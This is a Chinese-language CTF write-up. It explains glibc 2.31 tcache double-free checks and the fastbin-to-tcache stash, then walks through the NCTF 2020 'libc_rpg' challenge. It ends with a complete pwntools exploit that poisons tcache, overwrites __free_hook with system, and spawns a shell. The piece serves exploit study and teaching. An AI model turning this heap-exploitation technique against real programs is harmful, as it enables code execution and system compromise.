在libc2.26之后,tcache的到来让堆管理的效率大幅提高,同时也带来的一定的安全隐患,例如tcache dup可以随意的构造double free
在libc2.29更新之后,tcache对此问题进行了一些修改,更改了tcache中的entry结构体
new tcache entry
typedef struct tcache_entry
{
struct tcache_entry *next; //
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; // newly pointer in struct
} tcache_entry;
tcache_put in glibc 2.31
//tcache_put will set tcache_entry->key = tcache
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; // set e->key = tcache this is not exist in libc-2.27
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
double free check in free()
int free()
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
About Tcache Stash in source code
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size beyond fast chunk
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL) //如果有chunk
{
if (SINGLE_THREAD_P)
*fb = victim->fd; //取出头chunk
else
REMOVE_FB(fb, pp, victim);
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0)) //对fastbin的size检查
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
#if 1 //if USE_TCACHE,Stash过程:把剩下的放入Tcache中
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins) //如果属于tcache管辖范围
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) //只要tcache没空,并且fastbin还有chunk
{
if (SINGLE_THREAD_P) //那么就从fastbin中取出
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);//然后放入tcache中
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}
在我们申请堆块的时候(size<max_fast),如果系统在tcache中没有找到对应的bin,但是在其他的bin中拿到了对应的chunk,则系统会认为此类的chunk十分需要,则会将该大小的chunk都移入对应的tcache bin
例如: 申请size为0x60的堆,在tcache中没找到,但是在其他的bin中找到了,ptmalloc就会把其他bin中的堆块放入tcache
fastbin double free
前面提到,tcache中由于key的存在,难以构造double free,但是fastbin中不存在这个问题
在常规的double free中
free(a);
free(b);
free(a);
fastbin:a->b->a
在2.31中的思路是,先把tcache填满,
tcache bin:p1 -> p2 -> p3 -> p4 -> p5 -> p6 -> p7
fastbin:p8 -> p9 -> p8
再把tcache清干净
tcache bin:null
fastbin : p8 -> p9 -> p8(double free)
然后malloc chunk 并写入fd
tcache: p9 -> p8 -> target address
这样就完成了在tcache double free 受限的情况下,达成了tcache poseing 的效果 与fastbin attack相比没有了size位的限制,达成了任意地址写
nctf 2020 libc_rpg
这里以nctf 2020的libc_rpg为例,此题当时0解,赛后复现研究一下,感觉蛮好玩的
有兴趣的师傅可以下载附件来玩一下
附件下载:链接:https://pan.baidu.com/s/1cljEsI2jjL-JNYjv6Zuxtw 提取码:s0zd
复制这段内容后打开百度网盘手机App,操作更方便哦
程序分析
这个程序是用C++写的,我逆向的过程有些曲折,我的C++太菜了
大概就是模拟了一个rpg游戏
- create your file 创建存档
- copy your file 复制存档
- delete your file 删除存档
- start your game 以某个存档的数据开始游戏
程序分析:
- challeng native libc 打赢了加10块钱
- challenge old libc 有weapon之后打赢 可以new 0x20的堆,可以写入东西
- weapon 给你换个新的0x20 weapon为空就没办法challenge,会直接打不过,但是weapon要很多钱,所以用bet刷钱
- rest 恢复体力,没体力打不了libc
- bet 猜数字,和随机数一样就能价钱,输了会扣钱,可以输负数,输了就变成加钱
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "how much you will pay?");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &choice);
if ( *(a2 + 24) < choice )
{
std::operator<<<std::char_traits<char>>(&std::cout, "go out ,poor bastard!
");
sub_13D9();
}
std::operator<<<std::char_traits<char>>(&std::cout, "hmmm,but i think you will never win,:(
");
HIDWORD(choice) = rand_1(&std::cout, "hmmm,but i think you will never win,:(
") % 6;
if ( HIDWORD(choice) == 6 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "wtf???");
*(a2 + 24) = 0x10000;
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "hhh,you lose!=w=
");
*(a2 + 24) -= choice; // input num < 0 , add money
}
return __readfsqword(0x28u) ^ v5;
- copy your file 的时候虽然申请多了一个0x28的堆,但是程序把最后的指针也给copy过去了,导致uaf(这个uaf比较隐蔽)
result->weapon = (*(&a2_1 - 2))->weapon; // uaf
最后在本地进行的复现,复现环境为libc-2.31,以下exp在本地环境下可以拿shell
exp:
from pwn import *
p=process('./pwn')
elf=ELF('./pwn')
#context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
def newusr():
p.sendlineafter('>>','1')
p.sendline('1')# choose your character
def cpusr(idx1,idx2):#copy idx1 => idx2
p.sendlineafter('>>','2')
p.sendlineafter('idx 1',str(idx1))
p.sendlineafter('idx 2',str(idx2))
def delusr(idx):#delete file
p.sendlineafter('>>','3')
p.sendlineafter('idx',str(idx))
def startgame(idx):
p.sendlineafter('>>','4')
p.sendlineafter(' file>>',str(idx))
def bet(num):
p.sendlineafter('>>','3')
p.sendlineafter('how much you will pay?',str(num))
def weapon(): # buy weapon
p.sendlineafter('>>','5')
def myweapon(content):
p.sendlineafter('>>','2')
p.sendlineafter('>>','2')
p.sendafter(' weapon
',content)
def show():
p.sendlineafter('>>','6')
def exit_game():# exit game
p.sendlineafter('>>','7')
def rest():
p.sendlineafter('>>','4')
p.recvuntil('0x')
leak=int(p.recv(12),16)
log.info('printf_libc: '+hex(leak))
libc_base=leak-libc.symbols['printf']
log.info('libc_base: '+hex(libc_base))
for i in range(9):#0-8 file
newusr()
startgame(i)
bet(-0x100000)
weapon()
exit_game()
for i in range(7): # free 0-6
delusr(i)
cpusr(7,9)
cpusr(7,10)
delusr(10)
delusr(8)
delusr(9)
startgame(7)
for i in range(7):
myweapon('ptrptr')
rest()
#stash fastbin => tcache bin
#gdb.attach(p)
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
myweapon(p64(free_hook))
rest()
#gdb.attach(p)
myweapon('ptrptr')
rest()
#gdb.attach(p)
myweapon('ptrptr')
rest()
#gdb.attach(p)
myweapon(p64(system))
rest()
myweapon('/bin/shx00')
exit_game()
delusr(7)#free
p.interactive()
参考链接: